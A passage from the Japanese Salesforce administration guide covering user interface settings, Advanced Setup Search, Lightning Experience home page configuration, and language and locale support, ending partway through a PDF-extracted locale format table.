すべてのエディションで使用可能です。ユーザが ToDo または行動の作成や編集を行うときに、[スペルチェッ
ク] ボタンを有効にします。スペルチェッカーは、行動の [説明] 項目と ToDo の [コメント] 項目を分析し
ます。

Chatter ユーザプロファイルページのカスタマイズの有効化
システム管理者が Chatter ユーザプロファイルページのタブをカスタマイズできるようになります。カスタ
ムタブの追加やデフォルトタブの削除などが可能です。無効にすると、ユーザには [フィード] タブと [概要]

タブのみが表示されます。

サイドバーの設定
折りたたみ可能なサイドバーの有効化

サイドバーを伴うページでは、ユーザが各ページの折りたたみ可能なサイドバーを表示または非表示にす
ることができます。有効な場合は、組織内のすべてのユーザが折りたたみ可能なサイドバーを使用できま
すが、サイドバーの表示方法は各ユーザが選択できます。ユーザはサイドバーを表示したままにすること
も、折りたたんだ後でサイドバーの縁をクリックして、必要なときにのみ表示することもできます。

メモ: コールセンターユーザの場合、サイドバーを折りたたむと電話の着信が表示されません。

ヒント: 組織がディビジョンを使用している場合は、[ディビジョン] ドロップダウンリストにいつでも
アクセスできるように、サイドバーをビューステートに固定して表示しておくことをお勧めします。

すべてのページにカスタムサイドバーコンポーネントを表示
サイドバーのコンポーネントを含むカスタムホームページレイアウトがある場合にこのオプションを選択
すると、すべての組織のユーザがすべてのページでサイドバーのコンポーネントを使用できるようになり
ます。すべてのページのサイドバーコンポーネントを特定のユーザに対してのみ表示する場合は、「すべ
てのページにカスタムサイドバーを表示」権限を対象ユーザに付与します。

カレンダーの設定
ホームページの行動のフロート表示リンクの有効化

[ホーム] タブのカレンダーセクションで、フロート表示リンクを有効にします。[ホーム] タブで、行動の件
名の上にマウスを置くと、行動の詳細が対話形式でフロート表示されます。デフォルトでは、このオプショ
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ンが有効になっています。このチェックボックスは、[ホーム] タブのみを制御します。他のカレンダー
ビューではフロート表示リンクが常に有効です。
行動の詳細と編集のフロート表示で利用できる項目は、ミニページレイアウトで定義されています。

メモ: 終日の行動を作成する場合は、行動のミニページレイアウトに [終日の行動]項目を追加するこ
とをお勧めします。

カレンダービューでのドラッグアンドドロップ編集の有効化
シングルユーザのカレンダービュー (日、週単位) で行動のドラッグを有効にします。ユーザはページを離
れずに行動のスケジュールを変更できます。デフォルトでは、このオプションが有効になっています。

メモ: このチェックボックスがオンの場合、カレンダービューの読み込み速度が落ちることがありま
す。

カレンダービューでの行動のクリック作成の有効化
日表示および週表示のカレンダービューで特定の時間枠をダブルクリックし、対話形式のフロート表示に
行動の詳細を入力することによって行動を作成できます。行動の詳細と編集のフロート表示で利用できる
項目は、ミニページレイアウトで定義されています。
カレンダービューでの行動のクリック作成では、定期的な行動と複数個人の行動がサポートされていませ
ん。

リストビューでのドラッグアンドドロップスケジュールの有効化
リストビューから週次のカレンダービューにレコードをドラッグし、対話形式のフロート表示に行動の詳
細を入力することによって、レコードに関連する行動を作成できます。デフォルトでは、このオプション
が無効になっています。行動の詳細と編集のフロート表示で利用できる項目は、ミニページレイアウトで
定義されています。

ToDo リストのリンクのフロート表示の有効化
[ホーム] タブの [ToDo] セクションおよびカレンダーの日表示で、ToDo へのフロート表示リンクを有効にし
ます。デフォルトでは、このオプションが有効になっています。ToDo の件名にマウスを置いて、ToDo の詳
細を対話形式でフロート表示できます。
これらのフロート表示の情報は、システム管理者が設定できます。

設定
高度なページレイアウトエディタの有効化

有効な場合、高度なページレイアウトエディタが、ページレイアウトを編集する現在のインターフェース
を、さまざまな改善点が含まれた、機能の豊富な WYSIWYG エディタと置き換えます。

拡張プロファイルリストビューを有効化
プロファイルリストページで拡張リストビューとインライン編集を有効にします。拡張プロファイルリス
トビューのインライン編集を使用して、複数のプロファイルを同時に管理できます。

拡張プロファイルユーザインターフェースを有効化
1 つのプロファイルの設定を容易に参照、検索、および変更できる、拡張プロファイルユーザインターフェー
スを有効にします。

ストリーミング API を有効化
定義したSOQLクエリに一致するデータへの変更についての通知を安全で拡張性の高い方法で受け取ること
ができる、ストリーミング APIを有効にします。この項目は、デフォルトでオンになっています。Salesforce
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のエディションにAPIアクセス権があり、このチェックボックスが表示されない場合は、Salesforceにお問い
合わせください。

動的ストリーミングチャネル作成の有効化
ストリーミング APIの汎用ストリーミング機能を使用するときは、動的チャネル作成を有効にします。有効
な場合、クライアントが登録した時点で汎用ストリーミングチャネルがまだ作成されていなければ、動的
に作成されます。この項目は、デフォルトでオンになっています。SalesforceのエディションにAPIアクセス
権があり、このチェックボックスが表示されない場合は、Salesforce にお問い合わせください。

カスタムオブジェクトの切り捨てを有効化
今後使用するためにオブジェクトとそのメタデータを保持しながらカスタムオブジェクトからすべてのレ
コードを完全に削除する、カスタムオブジェクトの切り捨てを有効にします。

改善された設定ユーザインターフェースの有効化
無効な場合、Salesforce Classic のユーザは [設定] メニューから個人設定にアクセスします。有効にすると、
Salesforce Classicのユーザはユーザ名のメニューからアクセスできる [私の設定] メニューから個人設定にアク
セスします。また、[設定] リンクがユーザ名のメニューから Force.com アプリケーションメニューに移動し
ます。この設定を変更する場合は、組織内の全ユーザに通知してください。

高度な設定の検索を有効化 (ベータ)

有効な場合、ユーザが [設定] ページ、[設定] のサイドバーにあるカスタムプロファイル、権限セット、公開
グループ、ロール、ユーザを検索できます。無効な場合、[設定] ページのみ検索できます。

メモ:

• [高度な設定の検索] はベータです。本番品質ではありますが、既知の制限があります。
• 検索可能な一部の項目 (権限セットなど) は、一部のエディションでは使用できません。使用してい

るエディションに含まれていない項目は検索できません。

高度な設定
拡張差し込み印刷の有効化

組織の拡張差し込み印刷を有効にします。このチェックボックスがオンになっていると、取引先、取引先
責任者、およびリードのホームページの [ツール] 領域に[一括差し込み印刷]リンクが表示されます。また、
レコードの [活動履歴] 関連リストから要求された単一差し込み印刷が、拡張差し込み印刷機能を使用して
実行されます。
拡張差し込み印刷機能は、お客様からのリクエストにより提供いたします。この機能をご希望の場合は、
Salesforce カスタマーサポートにお問い合わせください。

Salesforce Classic でのユーザインターフェースの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

[設定] ユーザインターフェースが改善されたため、合理化された操作を使用し
て、個人および管理設定作業を表示および管理できます。
組織で改善された [設定] ユーザインターフェースを有効化すると、元のユーザ
インターフェースからいくつか変わる点があります。
• [設定] メニューには、Salesforce のいずれかのページの右上隅にある [設定] リ

ンクからアクセスできます。
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• [設定] メニューは、[管理]、[ビルド]、[リリース]、[監視]、[Checkout] という用途別のカテゴリに編成されて
います。

• すべての Salesforce ユーザが編集できる個人設定は、別個の [私の設定] メニューから使用できます。
[私の設定] にアクセスするには、Salesforce のいずれかのページの右上隅にある自分の名前をクリックした
後、[私の設定] をクリックします。[私の設定] には、Chatter プロファイルページの右ペインから [私の設定]

をクリックしてもアクセスできます。
• [私の設定] のホームページには、使用頻度の高い個人設定ツールと ToDo に簡単にアクセスできるクイック

リンクが含まれています。

重要: 改善された [設定] ユーザインターフェースが有効になると、組織内のすべてのユーザに対して有効
になります。この設定を有効化または無効化する前に、必ず組織に通知してください。

改善された [設定] ユーザインターフェースを有効にするには、[設定] から、[クイック検索] ボックスに「ユー
ザインターフェース」と入力し、[ユーザインターフェース] を選択して、[新改良型設定ユーザインターフェー
スを有効化] を選択します。

メモ: 改善された [設定] ユーザインターフェース:

• Internet Explorer バージョン 6 ではサポートされません
• 新しいユーザインターフェースのテーマが有効化されている場合にのみ使用できます

[高度な設定の検索] を使用した設定の検索 (ベータ)

[高度な設定の検索] では、ユーザは [設定] で、承認項目、カスタムオブジェクトとカスタム項目、カスタム
プロファイル、権限セット、ワークフロー項目、ユーザなど、さまざまな種別の項目を検索できます。

関連トピック:

Salesforce の [設定] メニューの探索
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[高度な設定の検索] を使用した設定の検索 (ベータ)

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[高度な設定の検索] を有効
化する
• 「アプリケーションの

カスタマイズ」

設定を検索する
• 「設定・定義を参照す

る」

[高度な設定の検索] では、ユーザは [設定] で、承認項目、カスタムオブジェクト
とカスタム項目、カスタムプロファイル、権限セット、ワークフロー項目、ユー
ザなど、さまざまな種別の項目を検索できます。

メモ:  [高度な設定の検索] はベータ版です。本番品質ではありますが、既知
の制限があります。

[高度な設定の検索] を使用するには、[高度な設定の検索] ユーザインターフェー
スの設定が有効になっていることを確認します。[設定] から、[クイック検索]

ボックスに「ユーザインターフェース」と入力し、[ユーザインターフェース] を
選択して、[高度な設定の検索を有効化 (ベータ)]までスクロールします。[高度
な設定の検索] が無効な場合、[設定] 検索ボックスは、[設定] で作成または編集
した個別の項目ではなく、[設定] メニューのページのタイトルのみを返します。
[高度な設定の検索] は多目的であり、さまざまな方法で使用できます。
• [設定] ページを検索するには、[設定の検索] ボックスに [設定] ページ名の一

部または全部を入力します。このボックスに入力すると、入力中の名前と一
致する [設定] ページがすぐに表示されます。ページ名をクリックして開きま
す。

• 設定のレコードまたはオブジェクトを検索するには、目的の項目の 2 文字以
上連続する文字列を入力して、 をクリックするか Enter キーを押します。
表示される [設定の検索結果] ページで、目的の項目をリストから選択しま
す。

メモ: 検索可能な一部の項目 (権限セットなど) は、一部のエディションでは使用できません。使用し
ているエディションに含まれていない項目は検索できません。

例: たとえば、組織のインストール済みパッケージをすべて表示するとします。「インスト」と入力しま
す。文字を入力すると、[設定] メニューが折りたたまれ、検索語と一致するメニューおよびページのみが
表示されます。目的のページのリンク ([インストール済みパッケージ]) がすぐに表示されます。

次に、1 人のユーザ (Jane Smith) のパスワードを変更したいとします。「smit」と入力し、 をクリック
します。[設定の検索結果] ページで、Jane Smith の結果をクリックして、そのユーザ詳細ページに直接移動
します。

[設定の検索結果] ページ (ベータ)

[設定の検索結果] ページには、承認項目、カスタムオブジェクトとカスタム項目、カスタムプロファイル、
権限セット、ワークフロー項目、ユーザなど、検索条件に一致した [設定] のさまざまな種別の項目が表示
されます。

306

ユーザインターフェースのカスタマイズSalesforce 組織の設定および管理



[設定の検索結果] ページ (ベータ)

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

[設定の検索結果] ページには、承認項目、カスタムオブジェクトとカスタム項
目、カスタムプロファイル、権限セット、ワークフロー項目、ユーザなど、検
索条件に一致した [設定] のさまざまな種別の項目が表示されます。

メモ:  [高度な設定の検索] はベータ版です。本番品質ではありますが、既知
の制限があります。

[設定の検索結果] ページで、次の操作を実行します。
• 左ペインには、検索結果の数が括弧で囲まれて各カテゴリが表示されます。

– カテゴリをクリックすると、そのカテゴリの結果のみが表示されます。
– カテゴリで結果を絞り込んだ場合、すべての検索結果を表示するには [す

べての結果] をクリックします。
• 結果名をクリックして開くか、[編集] をクリックします。
• 設定を再度検索するには、ページ下部にある検索ボックスを使用します。

メモ: ユーザの名前またはコミュニティのニックネーム (ユーザの詳細ページの [ニックネーム] 項目) を
照合する検索条件の場合、返される結果にはユーザの名前のみが表示されます。ニックネームがユーザ
名に対応していない場合、結果がわかりづらくなる可能性があります。たとえば、ユーザの名前が Margaret

Smith で、ニックネームが Peggy の場合、peg を検索すると Margaret Smith が返されます。

ヒント: 設定の検索結果の参照時に Web ブラウザで結果ページをブックマークすると、以降は同じ検索を
簡単に実行できます。たとえば、「smit」を頻繁に検索する場合は、結果ページをブックマークすると、
同じ検索を再び実行できます。このブックマークの URL は、
https://MyCompany.salesforce.com/ui/setup/SetupSearchResultsPage?setupSearch=smit

のようになります。

関連トピック:

[高度な設定の検索] を使用した設定の検索 (ベータ)

Lightning Experience ホームページの設定
エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experienceのホームページでは、ユーザが 1 日のスケジュールを管理する
ために必要なすべてのものを提供できます。営業担当は、四半期のパフォーマ
ンスサマリーや、大切な ToDo および商談に関する重要な最新情報を参照できま
す。さらに、さまざまな種別のユーザ向けにページをカスタマイズして、プロ
ファイルごとにカスタムページを割り当てることができます。
Lightning アプリケーションビルダーから [ホーム] ページを作成および編集しま
す。[設定] から、[クイック検索] ボックスに「Lightning アプリケーションビ
ルダー」と入力し、[Lightning アプリケーションビルダー] を選択します。[新規]

をクリックして Lightning ホームページを作成するか、既存のページを編集しま
す。
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Lightning アプリケーションビルダーには、直接ホームページからもアクセスできます。 をクリックして、
[編集ページ] を選択し、現在のホームページのコピーを作成して編集します。

新しいデフォルトのホームページの設定
新しいデフォルトのホームページを設定して、ユーザにとって関連性が最も高い情報が表示されるように
します。プロファイルが別のホームページに割り当てられている場合を除き、すべてのユーザにデフォル
トのホームページが表示されます。
特定のプロファイルへのカスタムホームページの割り当て
ページを異なるプロファイルに割り当てて、ユーザが各自の役割に最適なホームページにアクセスできる
ようにします。
Lightning Experience ホームの権限と設定
ユーザに商談詳細へのアクセス権とその他の権限を付与し、ホームページを最大活用できるようにします。

新しいデフォルトのホームページの設定

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning アプリケーショ
ンビルダーで Lightning
ページを作成および保存
する
• 「アプリケーションの

カスタマイズ」

Lightning アプリケーショ
ンビルダーで Lightning
ページを参照する
• 「設定・定義を参照す

る」

新しいデフォルトのホームページを設定して、ユーザにとって関連性が最も高
い情報が表示されるようにします。プロファイルが別のホームページに割り当
てられている場合を除き、すべてのユーザにデフォルトのホームページが表示
されます。
デフォルトの [ホーム] ページは次の 2 つの場所で設定できます。
• Lightning アプリケーションビルダー — [設定] から、[クイック検索] ボックス

に「Lightning アプリケーションビルダー」と入力し、[Lightning アプリケー
ションビルダー] を選択します。
ページを保存したら、[ページが保存されました] ダイアログで [有効化] をク
リックするか、後から [有効化] をクリックします。

• [設定] の [ホーム] — [設定] から、[クイック検索] ボックスに「ホーム」と入
力し、[ホーム] を選択します。
[デフォルトページを設定] をクリックして、ページを選択します。標準の
[ホーム] ページに戻す場合は、[システムデフォルト] を選択します。
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特定のプロファイルへのカスタムホームページの割り当て

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning アプリケーショ
ンビルダーで Lightning
ページを作成および保存
する
• 「アプリケーションの

カスタマイズ」

Lightning アプリケーショ
ンビルダーで Lightning
ページを参照する
• 「設定・定義を参照す

る」

ページを異なるプロファイルに割り当てて、ユーザが各自の役割に最適なホー
ムページにアクセスできるようにします。
プロファイル別のページの割り当ては次の 2 つの場所で設定できます。Lightning

アプリケーションビルダーを使用してプロファイルを 1 つのホームページに割
り当てることもできますが、[設定] の方がページの割り当てを細かく制御できま
す。
• Lightning アプリケーションビルダー — [設定] から、[クイック検索] ボックス

に「Lightning アプリケーションビルダー」と入力し、[Lightning アプリケー
ションビルダー] を選択します。
ページを保存したら、[ページが保存されました] ダイアログで [有効化] をク
リックするか、[有効化]をクリックして [このページを特定のプロファイルに
割り当てる] を選択します。

• [設定] の [ホーム] — [設定] から、[クイック検索] ボックスに「ホーム」と入
力し、[ホーム] を選択します。
[ページの割り当てを設定] をクリックするか、プロファイルの横にある
をクリックして、[割り当てを変更] を選択します。

Lightning Experience ホームの権限と設定

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザに商談詳細へのアクセス権とその他の権限を付与し、ホームページを最
大活用できるようにします。
ホームページへのニュースの追加方法についての詳細は、Salesforceヘルプの「取
引先設定」を参照してください。
[今後の行動] には、本日スケジュールされている次のミーティングが 5 つ表示さ
れます。[今日の ToDo] には、期日が本日の ToDo が 5 つ表示されます。
パフォーマンスグラフと [最も重要な商談] には、関連付けられたチームがある
場合、営業担当の営業チームに関する商談情報が表示されます。関連付けられ
たチームがない場合、グラフには営業担当が所有する商談が表示されます。
パフォーマンスグラフ、[最も重要な商談]、および [アシスタント] にデータが入
力されるためには、以下が必要です。
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表 1 : ホーム機能に必要な権限
アシスタン

ト
最も重要な

商談
パフォーマンスグ

ラフ
権限または設定

商談オブジェクトに対する参照アクセス権と関連商談に対す
る共有アクセス権

商談オブジェクトの [金額] 項目に対する参照権限

商談オブジェクトの [確度] 項目に対する参照権限

ユーザに有効化されている「レポート実行」ユーザ権限

完了した商談および現在の会計四半期中の確度が 70% を上回
る進行中の商談

リードオブジェクトへの参照アクセス権

関連トピック:

取引先設定
営業パフォーマンスの追跡
アシスタントを使用した重要な更新の表示

言語、ロケール、通貨の選択
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce の言語、ロケール、タイムゾーン、通貨の設定は、オブジェクト (取引
先、リード、商談など) の表示方法に影響を与える可能性があります。
単一通貨の組織の場合、Salesforce システム管理者が組織の通貨のロケール、デ
フォルトの言語、デフォルトのロケール、デフォルトのタイムゾーンを設定し
ます。ユーザは個人設定ページで各自の言語、ロケール、タイムゾーンを設定
できます。
マルチ通貨の組織の場合、Salesforceシステム管理者が組織のマスタ通貨、デフォ
ルトの言語、デフォルトのロケール、デフォルトのタイムゾーンを設定します。
ユーザは個人設定ページで各自の通貨、言語、ロケール、タイムゾーンを設定
できます。

メモ: 単一言語の組織は言語は変更できませんが、ロケールは変更できま
す。

設定を編集できるユーザ設定

マルチ通貨組織のユーザ通貨

マルチ通貨組織の管理者マスタ通貨
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設定を編集できるユーザ設定

単一通貨組織の管理者通貨

編集不可デフォルトの通貨 ISO コード

システム管理者言語のデフォルト値

システム管理者地域のデフォルト値

システム管理者タイムゾーン

編集不可通貨情報

ユーザ言語

ユーザロケール

ユーザタイムゾーン

言語設定の概要
サポートされているロケール
Salesforce ロケール設定によって、日時、ユーザ名、住所、数値のカンマおよびピリオドの表示形式が決ま
ります。単一通貨組織の場合、[組織情報] ページの [通貨]選択リストでロケールを選択すると、組織のデ
フォルト通貨も設定されます。
サポートされているタイムゾーン
個人設定の通貨または組織の通貨の設定
単一通貨組織の場合、組織のデフォルト通貨を設定できます。マルチ通貨組織の場合、デフォルト通貨は
ありません。代わりに、マスタ通貨または個人設定の通貨を変更します。
換算レートの編集
換算レートを編集することによって、有効な通貨と無効な通貨およびマスタ通貨の間の静的換算レートを
管理できます。これらの換算レートは、ユーザの組織で使用されるすべての通貨項目に適用されます。組
織によっては、これらの換算レートの他に、商談および商談商品用の期間指定換算レートが使用されてい
る場合があります。
サポートされている通貨
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言語設定の概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce Web ユーザインターフェース、Salesforce for Outlook、Connect Offline、およ
び Connect for Office は、複数の言語で利用できます。
Salesforce Web ユーザインターフェースには、2 つの言語設定があります。
• 個人の言語: スクリーンテキスト、画像、ボタン、およびオンラインヘルプ

はすべて、この言語で表示されます。この設定を変更するには、個人情報を
編集します。

• デフォルトの組織言語: ユーザが各自で言語を設定するまで新規ユーザ全員
に適用されます。この設定は、カスタム項目、タブ、ユーザインターフェー
スのオプションなど、すべてのカスタマイズが保存される言語も決定しま
す。カスタマイズについては、各ユーザの言語設定がこのデフォルト設定を上書きすることはありません。
システム管理者が手動で入力した設定項目の一部は、トランスレーションワークベンチによって翻訳され
ます。
システム管理者は会社情報を編集することによってこの設定を変更できます。

ユーザが入力したテキストは、入力された言語のままです。

サポート言語
Salesforce では、完全にサポートされる言語、エンドユーザ言語、およびプラットフォームのみの言語とい
う 3 つのレベルの言語がサポートされています。

関連トピック:

言語、ロケール、通貨の選択

サポート言語
Salesforce では、完全にサポートされる言語、エンドユーザ言語、およびプラットフォームのみの言語という 3

つのレベルの言語がサポートされています。
各言語は 2 文字の言語コード (en など) または 5 文字の地域コード (en_AU など) で識別されます。
Salesforce の言語サポートに加え、2 通りの方法で組織をローカライズできます。トランスレーションワークベ
ンチを使用して翻訳する言語を指定し、翻訳者を言語に割り当ててSalesforce組織に作成したカスタマイズの翻
訳を作成し、管理対象パッケージから表示ラベルと翻訳を上書きすることができます。カスタム選択リスト値
からカスタム項目にいたるすべてを翻訳し、海外のユーザがSalesforceのすべてを彼らの言語で使用できるよう
になります。
2 つ目の方法は、Salesforce のタブおよび項目の名前を変更するというものです。カスタムアプリケーションで
使用される Salesforce の標準タブと項目の数が少ない場合は、それらを翻訳できます。

完全サポート対象言語
ヘルプも含めて、すべての機能の言語は、[設定] ページから、次の完全サポート対象言語のいずれかに変更で
きます。[クイック検索] ボックスに「組織情報」と入力し、[組織情報] を選択してから [編集] を選択します。
• 中国語 (簡体字): zh_CN
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• 中国語 (繁体字): zh_TW

• デンマーク語: da

• オランダ語: nl_NL

• 英語: en_US

• フィンランド語: fi

• フランス語: fr

• ドイツ語: de

• イタリア語: it

• 日本語: ja

• 韓国語: ko

• ノルウェー語: no

• ポルトガル語 (ブラジル): pt_BR

• ロシア語: ru

• スペイン語: es

• スペイン語 (メキシコ): es_MX

• スウェーデン語: sv

• タイ語: th

メモ:

• スペイン語 (メキシコ) は、顧客が定義した翻訳のスペイン語に戻ります。
• Salesforce ユーザインターフェースが完全にタイ語に翻訳されている場合でも、ヘルプは英語のままで

す。

エンドユーザ言語
エンドユーザ言語は、会社で一般的に使用されている言語とは異なる言語を使用する多言語組織やパートナー
がある場合に便利です。エンドユーザ言語の場合、Salesforce では、管理ページ、設定、およびヘルプを除くす
べての標準オブジェクトとページに翻訳済み表示ラベルが示されます。エンドユーザ言語を指定すると、翻訳
されていない表示ラベルとヘルプは、英語で表示されます。エンドユーザ言語は、エンドユーザによる個人的
な使用のみを想定しています。エンドユーザ言語をマスタ言語として使用しないでください。Salesforce は、エ
ンドユーザ言語のカスタマーサポートは提供していません。
次のようなエンドユーザ言語があります。
• アラビア語: ar

• ブルガリア語: bg

• クロアチア語: hr

• チェコ語: cs

• 英語 (UK): en_GB

• ギリシャ語: el

• ヘブライ語: iw
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• ハンガリー語: hu

• インドネシア語: in

• ポーランド語: pl

• ポルトガル語 (ポルトガル): pt_PT

• ルーマニア語: ro

• スロバキア語: sk

• スロベニア語: sl

• トルコ語: tr

• ウクライナ語: uk

• ベトナム語: vi

メモ: 次の機能では、アラビア語やヘブライ語などの右から左へ記述される言語のサポートが制限されま
す。
• Live Agent

• ケース
• 取引先
これらの機能は、Lightning Experience、Salesforce1モバイルアプリケーション、その他のモバイルアプリケー
ションやモバイルブラウザ、または Salesforce Classic以外のユーザインターフェースではサポートされてい
ません。他の Salesforce 機能では右から左へ記述される言語の機能が正常に動作するという保証はありま
せん。サポートされる機能が拡張される予定もありません。
右から左へ記述される言語でサポートされない機能は、次のとおりです。
• レポートビルダー
• 見積 PDF の生成
• カスタマイザブル売上予測
• メール
• Salesforce ナレッジ
• フィード
• コミュニティ
このリストに含まれていない機能が、サポートされるわけではありません。右から左へ記述される言語
でサポートされるのは、Live Agent、ケース、および取引先のみです。

プラットフォーム専用言語
Salesforce でデフォルトの翻訳が提供されない場合、プラットフォーム専用言語を使用して、Salesforce App Cloud

で作成したアプリケーションおよびカスタム機能をローカライズします。カスタム表示ラベル、カスタムオブ
ジェクト、項目名などの項目を翻訳できます。また、ほとんどの標準オブジェクト、表示ラベル、項目の名前
を変更できます。情報テキストと項目以外の表示ラベルのテキストは翻訳できません。
プラットフォーム専用言語は、アプリケーションで言語を選択できるすべての場所で使用できます。ただし、
プラットフォーム専用言語を選択しても、Salesforce の標準の表示ラベルはすべてデフォルトの英語のままにな
ります。または、一部ではエンドユーザ言語または完全にサポートされる言語になります。
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プラットフォーム専用言語を指定すると、標準オブジェクトおよび項目の表示ラベルが、次の例外を除いて英
語に戻ります。
• 英語 (オーストラリア)、英語 (インド)、英語 (マレーシア)、および英語 (フィリピン) は、英語 (UK) に戻りま

す。
• フランス語 (ベルギー)、フランス語 (カナダ)、フランス語 (ルクセンブルグ)、フランス語 (スイス) はフラン

ス語に戻ります。
• ドイツ語 (オーストリア)、ドイツ語 (ルクセンブルグ)、ドイツ語 (スイス) はドイツ語に戻ります。
• イタリア語 (スイス) はイタリア語に戻ります。
• ルーマニア語 (モルドバ) は、ルーマニア語に戻ります。
• モンテネグロ語は、セルビア語 (ラテン文字) に戻ります。
• ポルトガル語 (ポルトガル) は、ポルトガル語 (ブラジル) に戻ります。
現在サポートされているプラットフォーム専用言語は次のとおりです。
• アルバニア語: sq

• アラビア語 (アルジェリア): ar_DZ

• アラビア語 (バーレーン): ar_BH

• アラビア語 (エジプト): ar_EG

• アラビア語 (イラク): ar_IQ

• アラビア語 (ヨルダン): ar_JO

• アラビア語 (クウェート): ar_KW

• アラビア語 (レバノン): ar_LB

• アラビア語 (リビア): ar_LY

• アラビア語 (モロッコ): ar_MA

• アラビア語 (オマーン): ar_OM

• アラビア語 (カタール): ar_QA

• アラビア語 (サウジアラビア): ar_SA

• アラビア語 (スーダン): ar_SD

• アラビア語 (シリア): ar_SY

• アラビア語 (チュニジア): ar_TN

• アラビア語 (アラブ首長国連邦): ar_AE

• アラビア語 (イエメン): ar_YE

• アルメニア語: hy

• バスク語: eu

• ボスニア語: bs

• ベンガル語: bn

• 中国語 (簡体字 — シンガポール): zh_SG

• 中国語 (繁体字 — 香港): zh_HK

• 英語 (オーストラリア): en_AU

315

言語、ロケール、通貨の選択Salesforce 組織の設定および管理



• 英語 (カナダ): en_CA

• 英語 (香港): en_HK

• 英語 (インド): en_IN

• 英語 (アイルランド): en_IE

• 英語 (マレーシア): en_MY

• 英語 (フィリピン): en_PH

• 英語 (シンガポール): en_SG

• 英語 (南アフリカ): en_ZA

• エストニア語: et

• フランス語 (ベルギー): fr_BE

• フランス語 (カナダ): fr_CA

• フランス語 (ルクセンブルグ): fr_LU

• フランス語 (スイス): fr_CH

• グルジア語: ka

• ドイツ語 (オーストリア): de_AT

• ドイツ語 (ルクセンブルグ): de_LU

• ドイツ語 (スイス): de_CH

• ヒンドゥー語: hi

• アイスランド語: is

• アイルランド語: ga

• イタリア語 (スイス): it_CH

• ラトビア語: lv

• リトアニア語: lt

• ルクセンブルク語: lb

• マケドニア語: mk

• マレー語 : ms

• マルタ語: mt

• ルーマニア語 (モルドバ): ro_MD

• モンテネグロ語: sh_ME

• ロマンシュ語: rm

• セルビア語 (キリル文字): sr

• セルビア語 (ラテン文字): sh

• スペイン語 (アルゼンチン): es_AR

• スペイン語 (ボリビア): es_BO

• スペイン語 (チリ): es_CL

• スペイン語 (コロンビア): es_CO

• スペイン語 (コスタリカ): es_CR
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• スペイン語 (ドミニカ共和国): es_DO

• スペイン語 (エクアドル): es_EC

• スペイン語 (エルサルバドル): es_SV

• スペイン語 (グアテマラ): es_GT

• スペイン語 (ホンジュラス): es_HN

• スペイン語 (ニカラグア): es_NI

• スペイン語 (パナマ): es_PA

• スペイン語 (パラグアイ): es_PY

• スペイン語 (ペルー): es_PE

• スペイン語 (プエルトリコ): es_PR

• スペイン語 (アメリカ): es_US

• スペイン語 (ウルグアイ): es_UY

• スペイン語 (ベネズエラ): es_VE

• タガログ語: tl

• タミル語: ta

• ウルドゥー語: ur

• ウェールズ語: cy

関連トピック:

言語、ロケール、通貨の選択
トランスレーションワークベンチの有効化および無効化
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サポートされているロケール

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Database.com Edition、お
よび Developer Edition

ユーザ権限

組織情報を表示する
• 「設定・定義を参照す

る」

組織情報を変更する
• 「アプリケーションの

カスタマイズ」

使用可能な個人設定のオ
プションは、使用してい
る Salesforceのエディショ
ンによって異なります。

Salesforce ロケール設定によって、日時、ユーザ名、住所、数値のカンマおよび
ピリオドの表示形式が決まります。単一通貨組織の場合、[組織情報] ページの
[通貨]選択リストでロケールを選択すると、組織のデフォルト通貨も設定され
ます。

住所の
形式

名前の
形式

数値の
形式

時刻の
形式

日付と
時刻の
形式

通貨の
デフォ
ルト値

コード名前

Address
Line 1,

Address
Line 2

City, State
ZipCode

Country

Ms.
FName
LName

1.234,566.00.PD2008-02-28
4.30.PM

Albanian
Lek: ALL

sq_ALAlbanian
(Albania)

Address
Line 1,

Address
Line 2

City, State
ZipCode

Country

Ms.
FName
LName

        :    /  /       :  
PM

アル
ジェリ
アディ
ナール:
DZD

ar_DZアラビ
ア語 (ア
ルジェ
リア)

Address
Line 1,

Address
Line 2

Ms.
FName
LName

        :    /  /       :  
PM

Bahraini
Dinar:
BHD

ar_BHArabic
(Bahrain)

City, State
ZipCode

Country

Address
Line 1,

Address
Line 2

Ms.
FName
LName

        :    /  /       :  
PM

エジプ
トポン
ド: EGP

ar_EGArabic
(Egypt)

City, State
ZipCode

Country
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住所の形式名前の形式数値の形式時刻の形式日付と時刻
の形式

通貨のデ
フォルト値

コード名前

Address Line 1,

Address Line 2

Ms. FName
LName

        :    /  /       :   PMイラクディ
ナール: IQD

ar_IQアラビア語
(イラク)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

        :    /  /       :   PMJordanian
Dinar: JOD

ar_JOArabic (Jordan)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

        :    /  /       :   PMKuwaiti Dinar:
KWD

ar_KWArabic (Kuwait)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

        :    /  /       :   PMLebanese
Pound: LBP

ar_LBArabic
(Lebanon)

City, State
ZipCode

Country

Address Line 1,

Address Line 2

Ms. FName
LName

        :    /  /       :   PMリビアディ
ナール: LYD

